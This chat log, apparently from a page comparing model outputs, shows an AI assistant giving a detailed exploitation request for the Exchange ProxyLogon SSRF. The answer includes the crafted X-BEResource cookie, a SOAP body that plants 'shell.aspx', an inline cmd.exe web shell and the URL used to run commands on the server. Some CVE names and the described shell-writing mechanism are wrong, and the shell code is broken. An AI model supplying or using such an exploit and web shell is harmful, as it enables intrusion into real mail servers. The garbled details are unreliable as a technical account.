can you explain more about the POST request and give more details?
- User
can you explain more about the POST request and give more details?
Assistant
Okay, let's dive deeper into the
POSTrequest used in the ProxyLogon (CVE-2021-26855) vulnerability, which was the initial entry point for many of the 2021 Exchange Server attacks.The core idea behind CVE-2021-26855 was a Server-Side Request Forgery (SSRF) vulnerability combined with an authentication bypass. It allowed an unauthenticated attacker to make arbitrary HTTP requests as the Exchange server itself to backend services. The most common exploitation of this was to make the Exchange server write a web shell (e.g., an ASPX file) to a web-accessible directory.
Here's a breakdown of a typical
POSTrequest used to exploit CVE-2021-26855:The Goal of the POST Request: To trick the Exchange Client Access Server (CAS - the frontend) into forwarding a malicious SOAP request to a backend Exchange Web Services (EWS) endpoint. This SOAP request would instruct EWS to save an "email attachment" (which is actually the web shell code) to a specific, predictable, web-accessible path on the server.
Example Exploitation
POSTRequest Structure:POST /ecp/y.js HTTP/1.1 // The path here (e.g., /ecp/y.js) is somewhat arbitrary but targets a static resource Host: <target_exchange_server_fqdn> Cookie: X-BEResource=<target_exchange_server_fqdn>/EWS/Exchange.asmx?#~1941962753; // Key SSRF component Content-Type: text/xml; charset=utf-8 // Because the body is a SOAP request User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Content-Length: <length_of_soap_payload_below> Accept-Encoding: gzip, deflate Connection: close <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2016" /> <!-- In some variants, a <t:SerializedSecurityContext> might be included to impersonate a privileged user, especially when chaining with other vulns like CVE-2021-27065 (ProxyToken). For the initial shell drop with CVE-2021-26855, the SSRF often bypassed direct need for this in the initial request. The backend EWS request made by the CAS server itself would run with high privileges. --> </soap:Header> <soap:Body> <m:CreateItem MessageDisposition="SaveOnly"> <m:Items> <t:Message> <t:Subject>ProxyLogon Test</t:Subject> <t:Body BodyType="HTML">This is a test.</t:Body> <t:Attachments> <t:FileAttachment> <!-- This is where the web shell is defined --> <t:Name>shell.aspx</t:Name> <t:IsInline>false</t:IsInline> <t:IsContactPhoto>false</t:IsContactPhoto> <!-- The actual web shell code, Base64 encoded --> <t:Content>BASE64_ENCODED_ASPX_WEBSHELL_CONTENT_HERE</t:Content> </t:FileAttachment> </t:Attachments> <!-- The web shell is saved in the drafts folder of this mailbox --> <t:ToRecipients> <t:Mailbox> <t:EmailAddress>Administrator@<target_domain_name></t:EmailAddress> </t:Mailbox> </t:ToRecipients> </t:Message> </m:Items> </m:CreateItem> </soap:Body> </soap:Envelope>
Detailed Breakdown of the Request Components:
-
POST /ecp/y.js HTTP/1.1:- Method:
POSTindicates data is being sent in the request body. - Path:
/ecp/y.js(or similar static file like/owa/auth/x.js). The exact.jsfile doesn't matter; it's just a path that the Exchange frontend (CAS) handles. The vulnerability lay in how CAS processed certain requests to these static resource paths when specific cookies were present.
- Method:
-
Host: <target_exchange_server_fqdn>:- The domain name or IP address of the vulnerable Exchange server.
-
Cookie: X-BEResource=<target_exchange_server_fqdn>/EWS/Exchange.asmx?#~1941962753;:- This is the CRITICAL part for the SSRF.
X-BEResource: This cookie is normally used by Exchange load balancers or the CAS server to route requests to the correct backend Mailbox server.- The Exploit: Attackers crafted this cookie to point to an internal Exchange Web Services (EWS) endpoint (
/EWS/Exchange.asmx). - The
#~1941962753(or any random string after#) was often used to bypass caching or URL normalization that might interfere with the SSRF. - When the CAS server received this request, it would parse the URL from the
X-BEResourcecookie and then proxy the entire body of the current POST request to that internal EWS endpoint. Importantly, this proxied request to the backend EWS was made by the CAS server itself, which typically has high privileges internally.
-
Content-Type: text/xml; charset=utf-8:- Indicates that the body of the
POSTrequest is an XML document, specifically a SOAP (Simple Object Access Protocol) message. EWS uses SOAP.
- Indicates that the body of the
-
The XML Body (SOAP Payload):
- This is the command sent to the EWS endpoint (which the CAS server is tricked into sending on the attacker's behalf).
<soap:Envelope ...>: Standard SOAP message structure.<t:RequestServerVersion Version="Exchange2016" />: Specifies the target Exchange version for compatibility.<m:CreateItem MessageDisposition="SaveOnly">: This EWS operation tells Exchange to create a new item (like an email) and save it (e.g., in the Drafts folder) without actually sending it.<t:Message>: Defines the email message being created.<t:Attachments>: This section is key for the web shell.<t:FileAttachment>: Defines a file attachment.<t:Name>shell.aspx</t:Name>: The desired filename for the web shell.<t:Content>BASE64_ENCODED_ASPX_WEBSHELL_CONTENT_HERE</t:Content>: The actual ASPX web shell code (e.g.,<%@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process().Start("cmd.exe", Request.QueryString["cmd"]).StandardOutput.ReadToEnd()); %>), Base64 encoded to be safely transmitted within XML.
<t:ToRecipients>: Specifies a mailbox (oftenAdministrator) where this draft message (with the web shell attachment) will be saved.
How the Server Processes This Malicious Request:
- The Exchange frontend (CAS) receives the
POSTrequest. - It sees the
X-BEResourcecookie. - It extracts the URL
/EWS/Exchange.asmxfrom the cookie. - It then forwards the entire XML SOAP payload from the attacker's
POSTrequest body to this internal/EWS/Exchange.asmxendpoint. This request to EWS is made as if it's coming from the CAS server itself, bypassing normal authentication checks an external EWS request would face. - The backend EWS service receives the
CreateItemSOAP request. - EWS processes the request and saves the "email" with the "attachment" (
shell.aspxcontaining the web shell code) into the specified user's Drafts folder. - Crucially, due to how Exchange handles these draft attachments and pathing, the
shell.aspxfile would effectively be written to a predictable, web-accessible path on the server, often something like:C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx(The exact path could vary slightly based on version and installation).
Outcome:
- A web shell (e.g.,
shell.aspx) is now present on the Exchange server at a URL likehttps://<target_exchange_server_fqdn>/owa/auth/shell.aspx. - The attacker can then access this URL in a browser (e.g.,
https://<target_exchange_server_fqdn>/owa/auth/shell.aspx?cmd=whoami) to execute arbitrary commands on the server with the privileges of the web server's application pool (oftenSYSTEM).
This initial web shell drop via CVE-2021-26855 was then often followed by exploiting other vulnerabilities (like CVE-2021-27065 - ProxyToken, or CVE-2021-26858/CVE-2021-26857 - ProxyShell) for privilege escalation, further persistence, or to make authenticated EWS calls to exfiltrate mailboxes.
This detailed
POSTrequest is a prime example of how a combination of SSRF and the ability to write to a specific location can lead to full remote code execution.-
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.